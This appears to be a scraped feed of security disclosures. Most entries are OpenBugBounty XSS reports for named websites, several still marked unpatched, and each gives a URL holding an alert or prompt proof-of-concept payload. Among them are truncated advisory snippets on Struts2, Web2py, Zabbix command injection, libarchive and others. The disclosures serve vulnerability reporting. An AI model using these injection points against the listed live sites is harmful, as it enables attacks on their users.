cambio.com XSS vulnerability

Vulnerable URL: http://www.cambio.com/b-c/sailthru/signup.php?email=%5B%27%27%5D%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:24 GMT Vulnerability type:| XSS...

Patched libarchive Vulnerabilities Have Big Reach

The libarchive programming library was recently patched against three critical memory-related vulnerabilities that could be abused to execute code on computers running the vulnerable software. As is the case with most open source software packages, patching the core library is only half the battl...

"Hotpatch"potential security risks-vulnerability warning-the black bar safety net

IOS App developers often occur such problems: when a new version launched after the discovery of the presence of a serious bug, likely because of a logic problem resulting in the payment interface there is is pulling the wool of the risk, this time can do only is to get the repair complete securi...

OracleVM 3.2 : libxml2 (OVMSA-2016-0063)

The remote OracleVM system is missing necessary patches to address critical security updates : - Add libxml2-enterprise.patch - Replaced doc/redhat.gif in tarball with updated image - CVE-2014-3660 denial of service via recursive entity expansion rhbz1161841 - fixed one regexp bug and added a...

editorsdepot.com XSS vulnerability

Vulnerable URL: https://editorsdepot.com/search?keywords= Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 10:04 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 53299 VIP website status:| No Check...

wwws001.dcveh.peoplenetonline.com XSS vulnerability

Vulnerable URL: https://wwws001.dcveh.peoplenetonline.com/scripts/login.dll?service=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

etatsgenerauxdelabioethique.fr XSS vulnerability

Vulnerable URL: http://www.etatsgenerauxdelabioethique.fr/recherche-dans-les-avis.html?champrecherche=%5B%27Vos+mots-clefs%27%5D%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability...

n-g-k.ru XSS vulnerability

Vulnerable URL: http://www.n-g-k.ru/?page=meropr54=477%22%3E%3Cscript%3Ealert/OPENBUGBOUNTY/%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:50 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

Struts2 remote code execution vulnerability S2-0 3 3 technology analysis and protection solution-vulnerability warning-the black bar safety net

Apache Struts2 in open dynamic method invocation Dynamic Method Invocation case, the attacker using the REST plug-in calls a malicious expression can be remote code execution. This vulnerability number CVE-2 0 1 6-3 0 8 7, named S2-0 3 of 3. This article on the vulnerability of technical analysis...

estereovisiondivino.com XSS vulnerability

Vulnerable URL: http://estereovisiondivino.com/wp-content/plugins/shoutcast-icecast-html5-radio-player/html5/html5shoutcast.php?id=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017...

olympus.ee XSS vulnerability

Vulnerable URL: https://www.olympus.ee/corporate/et/presscentre/pressreleases/pressreleasesoverview.jsp?c==%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E=4 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability...

Web2py 2.14.5 CSRF / XSS / Local File Inclusion

Title - Web2py 2.14.5 Multiple Vulnerabilities LFI,XSS,CSRF Exploit Title : Web2py 2.14.5 Multiple Vulnerabilities LFI, XSS,CSRF Reported Date : 2-April-2016 Fixed Date : 4-April-2016 Exploit Author : Narendra Bhati - https://www.exploit-db.com/author/?a=7638 CVE ID : LFI - CVE-2016-4806 ,...

streamdeutsch.de XSS vulnerability

Vulnerable URL: http://streamdeutsch.de/player/flashmediaelement.swf?jsinitfunctio%gn=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 184284 VIP website status:| No Check streamdeutsch.de SSL...

thechoice.blogs.nytimes.com XSS vulnerability

Vulnerable URL: http://thechoice.blogs.nytimes.com/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VI...

broward.desire2learn.com XSS vulnerability

Vulnerable URL: https://broward.desire2learn.com/frame.asp?Pg=javascript:alert%28%27OPENBUGBOUNTY%27%29 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3708 VIP website status:| Yes Check broward.desire2learn.com...

chartboost.com XSS vulnerability

Vulnerable URL: https://www.chartboost.com/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| Yes, at 16.10.2017 Latest check for patch:| 16.10.2017 13:06 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

p.fuwafuwa.moe XSS vulnerability

Vulnerable URL: https://p.fuwafuwa.moe/mxoszg.svg Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check p.fuwafuwa.moe SSL...

Apple Patches Two Flaws in Xcode's Git Implementation

Apple has updated its Xcode development environment, patching two vulnerabilities in its implementation of git. Git is a version control system, and in March its handlers patched two flaws that exposed the software to remote code execution. The new version of Xcode, 7.3.1, is available for El...

Zabbix Agent 3.0.1 - mysql.size Shell Command Injection

Zabbix Agent 3.0.1 - mysql.size Shell Command Injection CVE-2016-4338: Zabbix Agent 3.0.1 mysql.size shell command injection -------------------------------------------------------------------- Affected products ================= At least Zabbix Agent 1:3.0.1-1+wheezy from...

apotheka.ee XSS vulnerability

Vulnerable URL: https://apotheka.ee/otsi-ravimit/?medname=%22%3E%3Cscript%3Ealert%28/OPENBUGBOUNTY/%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 17.08.2016 Latest check for patch:| 17.08.2016 07:12 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...